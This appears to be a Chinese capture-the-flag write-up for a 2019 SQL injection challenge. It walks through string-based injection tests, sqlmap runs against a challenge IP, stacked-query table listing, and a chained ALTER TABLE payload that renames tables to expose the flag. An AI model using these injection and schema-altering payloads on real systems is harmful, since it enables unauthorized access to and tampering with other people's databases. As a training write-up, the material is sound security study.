题目描述
来源强网杯 2019
Solution
判断注入类型
输入输出表如下:
| 输入 | 输出 |
|---|---|
1 and 1=1 |
输出正常 |
1 and 1=2 |
输出正常 |
1' and '1'='1 |
输出正常 |
1' and '1'='2 |
没有输出 |
由此观之,该题目是字符型注入。
判断列数
输入:1' or 1=1 order by 3 #,查询失败!

输入:1' or 1=1 order by 2 #,查询成功!

由此观之列数为 2。
联合查询
1' union select version(), database() #
我们发现后端服务器有正则匹配,把关于select|update|delete|drop|insert|where不区分大小写给过滤了。

我们改用 SQLMap 自动化注入。
使用 SQLMap 注入
sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4

SQLMap 发现一个注入点,是布尔盲注。
获取数据库信息
sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4 --dbs

有一个数据库,名字叫supersqli。
查看数据库中的表
sqlmap -u "http://111.200.241.244:56899/?inject=1" --batch --threads 4 -D supersqli --tables
SQLMap 没有找到表:

使用堆叠注入
堆叠查询(Stacked Queries)是指,在 SQL 中,分号表示一条语句的结束。如果在分号的后面再加一条语句,这条语句也可以被执行,继续加一个分号和一条语句,这样就可以在一次数据库的调用中执行多个语句。
我们输入:
1'; show tables; #

查看表中的字段
1'; desc `1919810931114514`; #
1'; desc `words`; #
发现1919810931114514表中有 Flag:

拿 Flag
如果是正常的查询,那应该是在words表下,使用类似下面的语句:
select * from words whrere id = '';
而现在 Flag 在1919810931114514表,一个可行的方案是修改表名,这样我们回到原来的查询就能直接出 Flag。
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);
把它们用分号连起来:
1';alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);
然后使用1' or 1=1 #直接出 Flag:

